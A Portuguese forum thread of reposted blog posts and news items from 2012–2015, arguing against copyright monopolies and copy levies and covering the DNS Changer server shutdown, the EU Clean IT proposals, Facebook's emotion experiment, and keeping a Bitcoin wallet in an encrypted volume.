Ora, os autores deste estudo não distinguem os downloads feitos, pelo que não sabemos se atingem ou não a exploração normal da obra, nem se causam prejuízo injustificado dos interesses legítimos do autor.

Gostaria de referir que não tenho dúvidas de que o upload é ilegal, em Portugal. Mas sublinho que o estudo apenas se refere aos downloads.
O terceiro valor encontrado é de 12,36 milhões de euros que correspondem aos materiais usados no ensino profissional.

Dizem os autores deste estudo que os professores do ensino profissional constroem, incentivados pelo Governo, os seus próprios materiais, em vez de exigirem que os alunos comprem livros. Dizem ainda os autores deste estudo, que estes professores fazem colectâneas de três ou quatro livros. E concluem que esta é uma prática ilegal.

Ora, colectâneas são excertos. E a lei permite a reprodução, distribuição e disponibilização pública de partes de obras publicadas para fins de ensino e educação desses excertos. Confrontar com o art. 75º, ponto 2, alínea f) do CDADC.
Conclusão:

De todas as práticas descritas neste estudo, apenas duas são de certeza ilegais e correspondem à de fotocópias quando “o livro já se encontra digitalizado na loja e não é necessário levar o livro” e à de “transferir o livro entre amigos”.

Mas este estudo considera que toda a cópia é ilegal, ao arrepio da lei portuguesa.

Por último, teria sido intelectualmente honesto incluir a taxa por conta da cópia privada que as lojas de fotocópias e cidadãos pagam aos detentores de direitos, subtraindo também esse valor.

Mas tendo em conta que este estudo insere comentários jocosos [1] e acusações infundadas [2], talvez fosse “pedir o impensável!“

E eu que até tinha uma impressão positiva do ISCTE…

[1] – “Por evidente falta de capacidade e de tempo – seria pedir o impensável! – a esmagadora maioria dos docentes do ensino profissional” p. 49

[2] – “trata-se do crime perfeito!” p. 49

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 27 jun 2012, 10:10

Projecto de Lei 228/XII.


O Projecto de Lei 228/XII, proposto pelo PCP, visa semi-legalizar a partilha de ficheiros sem fins comerciais em troca de uma taxa mensal de 0,75€ sobre o acesso à Internet. “Semi” porque «Excluem-se do âmbito da presente lei os programas informáticos e as publicações periódicas» e porque só se aplica a obras «cuja partilha não tenha sido [...] expressamente proibida [pelos detentores dos direitos].»(1) Dois problemas práticos óbvios são o da cobrança e o da distribuição. O PCP pretende que a taxa incida apenas sobre os lucros das empresas que fornecem o serviço de acesso à Internet mas será inevitável que essa despesa passe para consumidor. E o dinheiro reverterá para associações de cobrança de onde dificilmente sairá para as pessoas certas. Mas o que eu quero focar aqui são dois problemas mais fundamentais, do conceito e não da implementação.

O primeiro é o argumento de que, havendo um «benefício material de facto para os fornecedores de serviços de acesso à internet» devido à partilha de ficheiros para fins pessoais, então pode-se concluir que «existe de facto a apropriação ilegítima de uma mais-valia sobre os conteúdos que circulam por via telemática» por parte destes fornecedores. Esta inferência não é válida. Em primeiro lugar, para ser uma apropriação é necessário que, no cômputo geral, o benefício para o fornecedor de serviços de acesso (ISP) implique um prejuízo para o sector cultural pela perda de um valor correspondente. Não é esse o caso porque a Internet, ao facilitar a criação e divulgação de obras, traz mais-valias ao criador também. Que não devemos considerar como sendo apenas o criador de obras comerciais. Por exemplo, este post, mesmo que de valor cultural modesto, sempre tem mais valor com a Internet do que teria se o escrevesse à mão e o afixasse na parede do meu quarto. Se considerarmos todos os criadores, todas as formas de criação e todas as formas comercializar a criatividade, desde concertos musicais à venda do serviço de criar a obra em vez da licença de acesso (2), é evidente que o benefício é mútuo, tanto para a cultura como para os ISP. E se ambos beneficiam não é apropriação.

A apropriação restringe-se apenas ao transporte das obras. Agora, em vez de circularem em rodelas de plástico e resmas de papel para lucro das empresas de cópia e distribuição, são transmitidas em bits, de pessoa para pessoa, por mero gozo ou boa vontade. Se bem que isto seja apropriação, porque o benefício de uns vem à custa de um prejuízo para os outros, além de afectar apenas uma parte pequena, e cada vez menos relevante, do sector cultural, não se pode assumir que seja uma apropriação ilegítima. Por exemplo, durante o século XX ocorreu um problema análogo com os transportes rodoviários e aéreos, que cresceram muito por se apropriarem, aos transportes fluviais e ferroviários, de grande parte do negócio de transportar pessoas e mercadorias. No entanto, a apropriação foi legítima e não justifica qualquer compensação. A tecnologia melhorou, mudou-se o meio de transporte. É isso que se passa com a Internet. Tal como a CP não tem legitimidade para exigir monopólios e compensações pelas pessoas andarem de carro, também as editoras não têm direito a monopólios e compensações pela partilha de ficheiros. A única diferença é que as editoras já têm esses monopólios, concedidos pela lei, o que cria a ilusão de que estão a sofrer uma injustiça. Mas é ilusão. A injustiça está nos monopólios e não na partilha.

Mas o maior problema desta lei, e do copyright que temos agora, é presumir que o direito de partilhar informação só deve ser exercido se não prejudicar o comércio de cópias. Isto é uma inversão absurda de valores. O direito de enviar sequências de bits uns aos outros faz parte da nossa liberdade de expressão, do nosso direito de acesso à cultura e informação e até do nosso direito à privacidade, que implica ser ilegítimo bisbilhotarem as nossas comunicações. Estes direitos estão a um nível muito superior ao do alegado direito a um monopólio que facilite o lucro de um certo modelo de negócio. Se bem que os legisladores portugueses estejam limitados por tratados internacionais, e se bem que esta proposta pareça ser um passo na direcção certa de despenalizar a partilha, o facto é que este passo, na prática, entala-nos ainda mais na premissa de que deve haver um compromisso entre os nossos direitos fundamentais e os lucros de certas empresas. Nisto não deve haver compromisso nenhum.

A solução correcta é restringir os monopólios sobre a cópia apenas à exploração comercial. Assim já faz sentido discutir soluções de compromisso entre os vários benefícios e compensações porque já se está a lidar com valores ao mesmo nível. É tudo acerca do direito de ganhar dinheiro com um negócio. Mas é preciso que a lei subordine o negócio aos nossos direitos fundamentais em vez de fazer o contrário. Admito que não será fácil mudar tão radicalmente o rumo que a legislação tomou nestas últimas décadas, à força de muito lobbying. Mas é necessário fazê-lo e estas medidas de compromisso apenas vão adiando a resolução do problema principal.

1- Assembleia da República, Regime Jurídico da Partilha de Dados Informáticos
2- A ideia de serviços como o Kickstarter é do público pagar pelo trabalho de criar a obra em vez de pagar uma autorização para aceder aos bits que a codificam depois do trabalho feito. Faz muito mais sentido

http://www.parlamento.pt/ActividadeParlamentar/Paginas/DetalheIniciativa.aspx?BID=36968
http://www.pcp.pt/regime-jur%C3%ADdico-da-partilha-de-dados-inform%C3%A1ticos-0
http://ktreta.blogspot.pt/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 09 jul 2012, 10:25

Milhares de PC podem ficar sem acesso à Internet a partir de hoje
inShare

9 de Julho, 2012
O FBI vai desligar hoje um conjunto de servidores, utilizado por cibercriminosos nas suas práticas, que poderá deixar mais de 300 mil computadores sem acesso à Internet
[/size]

O alerta não é recente. Já há vários meses que o FBI anunciou o dia 9 de Julho como a data em que iria desactivar os servidores utilizados pelo vírus DNS Changer.

Este programa malicioso, que chegou a infectar cerca de 4 milhões de máquinas, foi criado por cibercriminosos apanhados pelas autoridades norte-americanas no passado mês de Novembro de 2011, que acabaram por ficar com a responsabilidade dos servidores desde então.

O vírus em causa era utilizado para redireccionar o tráfego dos cibernautas para anúncios on-line, o que ajudava os autores da fraude a lucrar com os falsos cliques.

Durante o período de actividade desta fraude estima-se que os seus autores conseguiram amealhar cerca de 14 milhões de dólares.

Para evitar que as vítimas ficassem sem acesso à Internet, o FBI resolveu manter os servidores em actividade para dar tempo a que os computadores fossem limpos do DNS Changer, contando para tal com a ajuda de operadores de Internet e empresas de segurança informática para alertar as vítimas.

Contudo, os elevados custos de manutenção desta infra-estrutura levaram as autoridades dos EUA a decidir desligar os servidores, algo que deverá ocorrer hoje, apesar de o malware ainda estar presente em cerca de 300 mil computadores, a maior parte dos quais está em território norte-americano
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 22 set 2012, 23:13

A liberdade nunca deixou de estar em perigo

por Sérgio Lavos

Não são apenas a chamadas "ditaduras" que procuram controlar a informção, quem tem acesso a ela e, em última análise, os seus próprios cidadãos. Este texto do Helder Guerreiro é muito importante:

"A Internet como a conhece está em perigo de desaparecer.

As empresas de publicidade, perseguindo o seu desejo normal de terem cada vez melhores resultados, querem a todo o custo eliminar a navegação anónima na Internet. Ainda ontem se descobriu que o facebook anda a pedir aos utilizadores que denunciem “amigos” que não usem o seu nome real na rede. É bem conhecida a política em relação a nomes adoptada pela Google. Isto para já não falar nos serviços que, graciosamente, se oferecem para guardar toda a nossa informação pessoal (mais uma vez os piores são a Google, a Apple com o iCloud, etc).


Bufo 2.0: como delatar na Internet (roubado daqui)


Para além das ameaças das empresas, os políticos começam a aperceber-se do verdadeiro poder dos cidadãos organizados e estão por isso a tomar medidas para se certificarem que mantém o monopólio sobre a informação, capturando para si o controlo da Internet. Há vários exemplos dessas tentativas, que temos comentado aqui no Aventar.

O último ataque às nossas liberdades, financiado com o nosso dinheiro, vem da comunidade europeia. O projecto Clean IT, financiado pela Comissão Europeia (sim um dos três da troika), pretende lutar contra o terrorismo através de medidas auto-regulatórias que defendam o estado de direito (qualquer pessoa que conheça os crimes perpetrados nas chamadas industrias auto-reguladas deverá neste ponto ficar com os cabelos em pé – estou a referir-me, por exemplo, ao que aconteceu no mundo financeiro).

As propostas feitas por este projecto são secretas, apenas tomámos conhecimento devido a uma fuga de informação que tornou público um documento com as respectivas recomendações (PDF em inglês).

E quais vêm a ser estas medidas? Em resumo temos:
Eliminação de qualquer legislação que iniba a filtragem e monitorização das ligações à Internet feita pelos empregados;
As forças da lei deverão ser capazes de remover conteúdos sem “seguirem os procedimentos formais mais intensivos em trabalho para levantamento de autos e acção”;
Fazer links com conhecimento de causa para “conteúdo terrorista” (o draft não refere que o conteúdo tenha de ser considerado ilegal por um tribunal, refere-se a “conteúdo terrorista” em geral) será considerado uma ofensa equivalente a “terrorismo”;
Dar suporte legal a regras de “nomes reais” para evitar a utilização anónima de serviços on-line;
Os provedores de Internet serão responsáveis por não fazerem esforços “razoáveis” para utilizarem vigilância tecnológica que identifique o uso “terrorista” da Internet (o tipo de uso não é definido);
As empresas que forneçam sistemas de filtragem de utilizadores e os respectivos clientes serão responsabilizados se não reportarem actividades “ilegais” que tenham detectado;
Os clientes também serão responsabilizados se reportarem com dolo conteúdos que não são ilegais;
Os governos deverão usar o grau de colaboração dos provedores de Internet como critério para atribuírem contratos públicos;
Os sites de media social devem implementar sistemas de bloqueio ou de aviso sobre conteúdos;
O anonimato dos individuos que denunciem conteúdos (possivelmente) ilegais deverá ser preservada, no entanto, o respectivo endereço IP será guardado para o caso de terem de ser processados por fazerem uma falsa denuncia.
Ou seja, os políticos pretendem ter a última palavra sobre os conteúdos que podem ser colocados na Internet. Escusado será dizer que só um terrorista muito estúpido se deixaria apanhar por estas medidas. – Não, quem é afectado por elas é o cidadão comum, isto é uma verdade evidente.

Há muito mais medidas explicadas no documento, muitas vezes contraditórias entre si. O estado actual da tecnologia que suporta a Internet ainda não permite o tipo de controlo sonhado pelos políticos. No entanto, estão sem dúvida a dar-se os passos necessários na direcção de um controlo muito mais apertado. Desde sistemas de hardware que removem o controlo ao utilizador (pensem em iCoisas de todo o género) até sistemas de rastreio do uso da Internet que criam perfis super detalhados de cada um de nós (utilização de tracking cookies, criação de ecosistemas como os da Google ou o Facebook onde todas as acções são observadas, analisadas e guardadas, etc…).

Nós temos representantes em Bruxelas, pergunte-lhes porque motivo gastam o nosso dinheiro com projectos que nos cerceiam a liberdade."


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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 18 out 2012, 16:44

Treta da semana (passada): 312€ + IVA.

Há dias, a preparar um trabalho prático de programação para alunos de engenharia geológica, fui à página do LNEG procurar dados que pudesse usar para fazer algo relacionado com a área deles. Encontrei umas cartas geológicas engraçadas, em formato digital(1), que poderiam servir de tema. Infelizmente, custam 312€ mais IVA e ainda se tem de assinar um termo de responsabilidade proibindo «a reprodução ou distribuição (divulgação ou comercialização) dos CD-ROM ou ficheiros que contêm o produto, sendo este penalmente protegido contra reproduções não autorizadas»(2). Isto ilustra uma data de coisas erradas, e até revoltantes.

Primeiro, a asneira de transpor cegamente para o domínio digital uma legislação de direitos de autor concebida quando as canetas eram de aparo e o lápis tecnologia de ponta. O Código do Direito de Autor e dos Direitos Conexos reconhece como obras originais «Ilustrações e cartas geográficas», o que faz sentido se são desenhadas à mão. A cartografia manual tem tanto de artístico como de científico. Mas quando as cartas são ficheiros digitais gerados por computador a partir de dados geológicos não faz sentido que essa sequência de bytes a descrever rios e formações rochosas seja considerada uma obra original e protegida por direitos de autor. É como conceder o estatuto de obra a um sismograma ou a um espectro de absorção.

Em segundo lugar, o abuso da legislação. Não sei se esta exigência da parte do LNEG é legal e até tenho esperança que não seja. Mas, mesmo que seja, não é aceitável que façam isto. A geologia não é propriedade deles, os formatos com que a descrevem foram criados pelos fabricantes do software que usam e alguns até são públicos (3), e o trabalho de recolha e processamento destes dados foi pago pelos contribuintes nos salários das pessoas que trabalharam nisto. Não há qualquer justificação para o LNEG impor estas restrições a quem financia o seu trabalho.

Finalmente, e talvez o mais revoltante, é isto: «Para fins académicos (teses de mestrado e de doutoramento) devidamente comprovados, haverá uma redução de 30% nos preços de venda da informação cartográfica digital.»(1) É isto que passa por serviço público no LNEG. Um aluno de geologia que precise de dados sobre a geologia de Portugal tem de pagar mais de 200€ por carta geológica, e ainda fica proibido de divulgar a informação.

O argumento para isto é, provavelmente, que se não cobrassem pelo acesso à informação teríamos de pagar mais para financiar o LNEG. Só que não adianta de nada pagarmos 90% do custo de algo se depois não temos acesso ao que pagámos. Isto é novamente o truque de ficarem com um pé no público outro no privado: os custos vão para o erário e os lucros ficam para eles. Devíamos acabar de vez com este cancro na economia. Qualquer organização que queira fazer negócio fica por sua conta e não recebe financiamento público. Qualquer organização que tenha financiamento público tem de disponibilizar o que produz a todos os cidadãos, que são quem lhe paga.

É irónico que se alguém disponibilizar gratuitamente estas cartas online é um pirata e criminoso enquanto que quem produz esta informação com financiamento público e depois a vende, com restrições, a quem já pagou o trabalho é empreendedor e protegido pela lei.

1- LNEG, Carta Geológica de Portugal, na escala de 1:25.000
2- Termo de Responsabilidade (pdf).
3- Por exemplo, o shapefile
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 28 jan 2013, 15:09

Treta da semana (passada): novamente a taxa.

No início do ano passado, o PS tentou fazer aprovar o agora infame Projecto de Lei 188/XII. A intenção era taxar todo o armazenamento informático em favor de sociedades de cobrança como a AGECOP e a SPA, mas o absurdo da ideia suscitou protestos e o PS acabou por retirar a proposta. Agora o PSD, tendo aprendido com o erro do PS, está a fazer a coisa de forma diferente. A proposta, ao que parece, é a mesma, mas desta vez é confidencial para evitar discussões (1). Já escrevi vários posts com as minhas objecções a esta medida (2), mas agora queria focar uma reacção que tenho visto à notícia da ressurreição do PL118. Muita gente acha que é mais uma medida para o Estado nos sacar dinheiro. Enganam-se. É bem pior do que isso.

O dinheiro que nos cobram nos impostos vai para o Orçamento do Estado, discutido anualmente na Assembleia da República. Se bem que o processo seja imperfeito na prática, em princípio será a melhor forma de investir o erário de acordo com as prioridades da sociedade, por intermédio dos representantes dos eleitores. Saúde, educação, pensões, segurança, justiça e, também, cultura. As taxas contornam este processo, sendo reservadas logo à partida para financiar serviços específicos como manutenção de estradas, radiodifusão, serviços de saúde e assim por diante. À parte de casos em que o papel da taxa é desencorajar abusos ou certos comportamentos prejudiciais, esta forma de financiamento público pode ser polémica. Por exemplo, no caso da taxa de radiodifusão, mesmo quem concorda com a necessidade de um serviço público de rádio e televisão pode discordar que esse serviço seja financiado por uma cobrança que não é progressiva como os impostos. Mas o que parece ser consensual é que nenhuma taxa deve servir interesses particulares. Se a RTP for privatizada, por exemplo, é consensual que se deve acabar com a taxa de radiodifusão.

A taxa pela cópia privada é uma aberração destas, uma colecta compulsória pelo Estado em benefício de entidades privadas como sociedades de cobrança, editoras, distribuidores e alguns artistas mais famosos. Nem no tempo da licença para usar isqueiro, tanto quanto sei, se chegava a este ponto. Era uma medida proteccionista para beneficiar os fabricantes de fósforos mas, ao menos, o dinheiro ia para o Estado e não directamente para o bolso de particulares.

Esta taxa é absurda por várias razões. Cada vez mais as obras comercializadas incluem restrições tecnológicas e esquemas de licenciamento que estipulam que cópias podemos legalmente fazer, pelo que a cópia não autorizada que seja claramente legal é cada vez mais rara. Se compramos software temos autorização para o instalar no disco. Se compramos música online ou livros electrónicos temos autorização para fazer um certo número de cópias. Esta taxa quer cobrar novamente pelo direito de cópia que o distribuidor já nos cobrou. Além disso, é cada vez maior a fracção de obras, no sentido legal, a que acedemos e que copiamos gratuitamente com autorização dos autores. À luz da lei, cada SMS, email, post, fotografia ou comentário é uma obra de autoria e merece a mesma protecção que um romance ou canção. Para ler um blog, aceder ao Facebook ou guardar fotos das férias precisamos de alguma forma de armazenamento, e esta taxa cobra-nos por um direito que já temos enquanto autores ou que os autores nos concedem gratuitamente. Dizem que é para compensar o prejuízo que a cópia privada causa aos autores, mas a taxa em si é o maior prejuízo para a maioria dos autores, que somos todos nós.

Pior de tudo, esta taxa é um exemplo extremo da mama que tem afundado a nossa economia. Já nem disfarçam com PPPs ou BPNs. O que pedem agora é simplesmente que o Estado faça a cobrança e lhes entregue o dinheiro. Penso que já chega de andarem a viver acima das minhas possibilidades.

1- Computerworld, Cópia privada confidencial http://www.computerworld.com.pt/2013/01/18/copia-privada-confidencial/
2 – Por exemplo, Projecto de Lei 118/XII do Partido Socialistahttp://ktreta.blogspot.pt/2012/01/projecto-de-lei-118xii-do-partido.html

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 18 fev 2013, 20:19

Um acidente histórico.



Muitos confundem os direitos de autor com o monopólio sobre a cópia e, talvez por isso, assumem que o monopólio é justo. Esquecem que os direitos do autor incluem o direito de criar incorporando aquilo que outros fizeram antes; o direito de aprender; o direito de partilhar; o direito de se exprimir e de participar na cultura, que é a soma das obras criadas por todos, e que o monopólio legal sobre a cópia põe esses direitos em causa. Esquecem também que este monopólio, o copyright, raramente fica para o autor. E têm de assumir que o trabalho do autor é fundamentalmente diferente do trabalho de qualquer outra pessoa, porque só assim poderia este monopólio ser justo. O autor tem o direito a ser remunerado quando outros usam aquilo que ele criou enquanto o cabeleireiro, o cozinheiro e o matemático apenas recebem quando trabalham e somente se alguém tiver prometido pagar-lhes. O autor pode restringir os direitos de propriedade de terceiros para proteger o seu negócio enquanto o carpinteiro, o sapateiro ou o pedreiro não retêm quaisquer direitos pós-venda sobre o que criam nem podem restringir a terceiros o uso de pregos, cola e cimento. O autor tem direito a um monopólio porque é assim que ganha dinheiro mas qualquer outro que precise de monopólios para ganhar dinheiro tem apenas o direito de mudar de negócio ou de abrir falência. O trabalho do autor tem de ser algo muito especial e extraordinário.

Uma falha nesta doutrina do sagrado trabalho do autor é não haver qualquer forma consistente de distinguir entre autores e restantes mortais. Quem apresenta uma sequência nova de notas musicais é autor mas quem apresenta uma sequência nova de jogadas de xadrez já não é. Logo no primeiro artigo, o CDADC exclui explicitamente «As ideias, os processos, os sistemas, os métodos operacionais, os conceitos, os princípios ou as descobertas». Ou seja, legalmente, a Endemol é mais “autor” da Casa dos Segredos do que o Einstein é da teoria da relatividade. Além disso, mesmo que houvesse algum fundamento racional para distinguir entre o trabalho dos autores e o trabalho dos outros, faltava ainda justificar o enorme privilégio que o copyright concede aos primeiros. Dos vossos aparelhos electrónicos, provavelmente o único não podem legalmente modificar é a consola de jogos, por causa dos sistemas de protecção contra cópia. Desde que não façam barulho a más horas nem ponham terceiros em risco podem fazer o que quiserem na privacidade do vosso lar. Excepto copiar certos ficheiros. Têm o direito de trocar com outros a informação que quiserem. Excepto partilhar certos ficheiros. O copyright dá ao “autor”, que raramente é o autor, um poder para se intrometer na nossa vida que nunca aceitaríamos conceder a mais ninguém. Ao contrário do que muitos assumem, não há justificação ética para este monopólio. Como qualquer monopólio, o copyright é injusto. É apenas um acidente histórico que ocorreu quando o progresso tecnológico inverteu o efeito da lei.

Hoje, os monopólios sobre a cópia só existem por força da lei. Sem a lei, toda a gente copiava o que quisesse. Mas a lei não surgiu hoje. O copyright como o conhecemos tomou forma no século XIX, quando o monopólio era uma realidade com a qual a lei tinha de lidar devido à tecnologia e à indústria da altura. O poeta, o escritor e o compositor não tinham forma de levar as suas obras ao público sem os industriais da impressão e da distribuição. Quando a Convenção de Berna para a Protecção de Obras Literárias e Artísticas, em 1886, declarou ser do autor o monopólio sobre a cópia não estava a criar um monopólio para o autor. Estava apenas a dar ao autor algum poder sobre esse monopólio que, na realidade, já existia e que não havia meio de eliminar. E a justificação ética para esta medida é precisamente o contrário daquilo que hoje julgam ser: é a do trabalho do autor ser tão merecedor de consideração como o trabalho de qualquer outro. Nem mais, nem menos.

O problema que alguns autores enfrentavam nessa altura era o facto, independente da lei, de só poderem vender o seu trabalho por intermédio de quem tinha capacidade industrial para copiar e distribuir material impresso. Ao contrário de autores como cientistas, cozinheiros, jardineiros ou carpinteiros, os poetas e compositores estavam basicamente tramados. Para chegar a quem lhes pagasse tinham de passar pelos editores que, sendo já então como são hoje, ficavam com tudo o que podiam. O que, nessa altura, era tudo mesmo. Para mitigar este problema criou-se uma lei que melhorava a posição negocial daqueles autores que dependiam da cópia de material impresso concedendo-lhes direitos sobre o monopólio que, por mais injusto que fosse, existiria com ou sem a lei por força da tecnologia de então*.

Conforme a indústria da cópia foi evoluindo, este problema foi alastrando para outros meios como discos, cassetes, salas de cinema, rádio e televisão. Mas o problema era o mesmo. Havia um monopólio, de facto e não apenas de jure, e a lei era necessária para compensar essa injustiça e dar aos autores daquelas obras algum poder para negociar o preço do seu trabalho. Não por serem mais autores do que os outros, mas por precisarem da cópia industrial. Os compositores, mas não os filósofos. Os poetas, mas não os matemáticos. Os músicos, mas não os cozinheiros. Uns estavam subordinados ao monopólio da distribuição e precisavam de ajuda legal para que, como qualquer trabalhador, pudessem negociar o preço do seu trabalho.

Agora não há monopólio de facto. Só de jure. Mas o fundamento ético mantém-se. Todos têm os mesmos direitos, o trabalho de todos é igualmente digno e merecedor e os monopólios continuam a ser uma injustiça. Por isso, agora que nenhum autor está dependente do monopólio sobre a cópia industrial, ser contra o copyright não é ser contra os direitos dos autores. É ser a favor dos direitos de todos os autores e de todos os que virão a ser autores.

* Em rigor, a origem deste monopólio não era apenas tecnológica. Também se devia a factores económicos, à organização dos editores e até de outros monopólios legais que já vinham de trás, de quando a concessão de direitos exclusivos de impressão era uma forma de censura governamental e nada tinha que ver com direitos de autor. Uma excepção foi a Alemanha no início do século XIX, onde a fragmentação política e a proliferação de pequenos editores resultou numa situação em que o monopólio era muito fraco, o que foi muito benéfico para os autores, para o público e para a cultura mesmo sem legislação nenhuma (ver este artigo). No entanto, na generalidade dos países industrializados os editores tinham a faca e o queijo na mão e era esse o problema que tinha de ser mitigado.

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 19 fev 2015, 19:02

A EXPERIÊNCIA



O Facebook mostra a cada utilizador uma página com publicidade, notificações e posts seleccionados por critérios que desconhecemos mas que certamente visam manipular as nossas emoções e comportamento para maximizar as visitas. Sempre me pareceu óbvio ser esse o propósito da empresa. É um negócio de venda de espaço publicitário e não uma instituição de caridade. Surpreendentemente, muitas pessoas ficaram agora chocadas por o Facebook ter mostrado algumas páginas com publicidade, notificações e posts seleccionados por critérios que, além dos que desconhecemos, também incluíram a análise de palavras chave para estimar o seu conteúdo emocional (1).

Experiências e manipulações dessas hé em todo o lado. Na publicidade, como é óbvio, mas também nos programas de televisão que nos levam a ver os anúncios dos intervalos. Há nas notícias, tanto na forma como são dadas como na escolha do que se noticia, e há em cada montra de cada loja e em cada supermercado. Não é por acaso que os brinquedos estão logo à entrada e os legumes e o leite lá bem no fundo. E estão sempre a experimentar para nos manipular melhor. Sendo isto tão comum, é intrigante a reacção ao que o Facebook fez. Uns dizem que é um abuso da sua informação pessoal, outros que não deviam poder fazer isto sem o consentimento informado das pessoas e outros até querem leis para proibir estas coisas (2).

A reacção dos utilizadores escandalizados parece dever-se a um mal-entendido acerca da sua relação com a Facebook. Não se escandalizam quando os supermercados põem os bens de primeira necessidade longe dos acessos porque o stock é deles e arrumam o arroz onde quiserem. Mas muita gente julga que o que põe no Facebook é seu. A ilusão não é acidental porque todo o sistema está concebido para dar essa impressão. Escrevemos aqui, marcamos ali, clicamos acolá e parece que somos nós quem manda. Mas a realidade é que damos esses dados à empresa e autorizamo-la a fazer o que quiser deles. Legalmente, é o que está no contrato; eticamente, somos responsáveis por essa escolha; e, na prática, assim que os nossos dados, textos e fotografias estão nos servidores da empresa ficam fora do nosso controlo. Nem aquilo que demos à empresa é nosso nem sequer somos os seus clientes. Uma forma lisonjeira de pensarmos nesta relação é imaginando-nos como colaboradores voluntários do Facebook. Mas o mais realista é imaginar que somos mercadoria. Somos pacotes de arroz. Porque o negócio destas empresas é vender a nossa atenção aos seus verdadeiros clientes, que é quem lhes paga para fazer publicidade. Nós somos o stock e o que lhes damos é apenas a montra.

Os académicos que exigem consentimento informado também fazem confusão. É claro que uma universidade ou entidade pública que financie experiências com pessoas deve exigir que se peça o consentimento prévio aos sujeitos da experiência. Mas isto é um extremo num contínuo de situações com exigências diferentes. Os produtores de um programa de apanhados não vão pedir primeiro o consentimento informado das pessoas a quem vão pregar partidas. Só depois é que pedem autorização para publicar as imagens da figura triste que as vítimas fizeram. E um supermercado que expõe revistas junto às caixas para ver se o tédio de esperar a vez é motivação para as comprar não precisa de pedir autorização a ninguém. Esta é a situação em que está a experiência do Facebook, que simplesmente organizou a “montra” para ver como conseguir mais visitas.

Alguns legisladores é que, suspeito, protestam porque percebem bem o que está a acontecer. A manipulação faz parte da comunicação e os meios que chegam a muita gente sempre foram usados para isso. Mas cadeias de televisão, rádio ou jornais exigem uma infraestrutura pesada que os políticos sabem influenciar. Twitters e Facebooks são um bicho diferente. Surgem do nada, podem desaparecer de um momento para o outro e qualquer tentativa de os manipular dá resultados imprevisíveis. Naturalmente, isto assusta algumas pessoas que, por isso, condenam a “manipulação” do Facebook mesmo que não se oponham ao Big Brother nem à agregação da comunicação social em enormes empresas controladas por poucas pessoas.

Se não queremos que espreitem para dentro de nossas casas penduramos cortinas. Se queremos conversar em privado fechamos a porta. E se não queremos que mexam nas nossas coisas pomos fechaduras e trancas. Quem protege a nossa privacidade, em primeiro lugar, somos nós e não a “regulação”. Na Internet é a mesma coisa. Se queremos conversas em privado temos de usar encriptação e se queremos canais seguros de comunicação temos de usar redes distribuídas em vez de serviços centralizados. O Blogger, o Facebook e o Twitter são convenientes mas tão pouco seguros como um banco de jardim. Não servem para o que for privado. Preocupa-me que reajam a esta experiência da Facebook como se fosse excepção quando é a norma em todo o lado. Preocupa-me que culpem a Facebook porque o que publicamos é da responsabilidade de cada um de nós e não das empresas ou do legislador. E preocupa-me especialmente que façam tanto alarido com a informação que voluntariamente cedem quando o problema principal é a informação que Estados e empresas recolhem sem que o possamos evitar. O que devíamos exigir era, por exemplo, uma lei proibindo os prestadores de serviços de comunicação de guardar quaisquer registos que já não fossem necessários para cobrar serviços prestados. Uma vez paga a factura, deviam ser obrigados a apagar todos os registos das nossas chamadas e do tráfego de Internet. Em vez disso, a regulação vai cada vez mais no sentido contrário, obrigando a uma acumulação de dados pessoais que está totalmente fora do nosso controlo e é muito pior do que qualquer coisa que a Facebook faça com os dados que lhe dermos.

1- NY Times,http://www.nytimes.com/2014/06/30/technology/facebook-tinkers-with-users-emotions-in-news-feed-experiment-stirring-outcry.html?_r=1
2- Guardianhttp://www.theguardian.com/technology/2014/jun/29/facebook-users-emotions-news-feeds
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 19 fev 2015, 19:43

[b]Como guardar bitcoins.[/b]





Conforme o Bitcoin se torna mais popular é de esperar que vão surgindo mais roubos (1), troianos (2) e outras manigâncias para separar bitcoins dos seus donos. Não por qualquer fraqueza intrínseca do sistema mas aproveitando a confusão acerca do que é esta moeda criptográfica. Um problema sério de segurança com as bitcoins vem de as imaginar como uma variante anónima do cartão de crédito em vez de uma variante electrónica de notas e moedas.

O dinheiro que usamos por via electrónica está no banco. É o banco que o guarda, que identifica as pessoas, que autoriza as transacções e que resolve a maioria dos problemas. Se me roubam o cartão, posso telefonar ao banco para o cancelar, por exemplo. Assim delegamos no banco grande parte da segurança, mesmo que nem sempre mereça essa confiança (3). Em contraste, quando pagamos com notas são as notas em si que provam a autenticidade da transacção. Não é preciso alguém autorizar, comprovar que temos dinheiro ou identificar as partes envolvidas. Basta passar a nota de um para o outro que se passa também o valor que a nota representa.

As bitcoins são como as notas. Cada pessoa tem um conjunto de chaves criptográficas para autenticar as transferências que, apesar de serem por via electrónica e ficarem registadas na rede, não precisam de intermediários que possam arbitrar conflitos. Uma vez transferido, o dinheiro não volta atrás (4). Por isso é tão importante proteger o ficheiro com as chaves criptográficas como é proteger um molho de notas. Aqui fica a minha receita.

Primeiro, instalar o Truecrypt e criar um volume encriptado com cerca de 1GB. Depois, instalar o cliente Bitcoin e copiar a pasta para o volume encriptado. Se usarem Windows e Linux, podem copiar para lá ambos. Finalmente, criar uma pasta no volume encriptado para os dados (“Data”, no meu caso) e um shortcut ou script para correr o programa. Eu tenho dois, na raiz do volume encriptado. Um para correr o Bitcoin no Windows:

Bitcoin\bitcoin.exe -datadir=..\Data

E outro para Linux:

./bin/32/bitcoin -datadir=./Data

Assim, para usar bitcoins basta montar o volume com o Truecrypt e correr o programa. A directiva “-datadir=” fá-lo guardar todos os dados nessa pasta, incluindo o ficheiro wallet.dat, com as chaves criptográficas. Quando se desmonta o volume encriptado nada disto fica acessível; mesmo que alguém copie esse ficheiro não pode fazer nada sem a password.

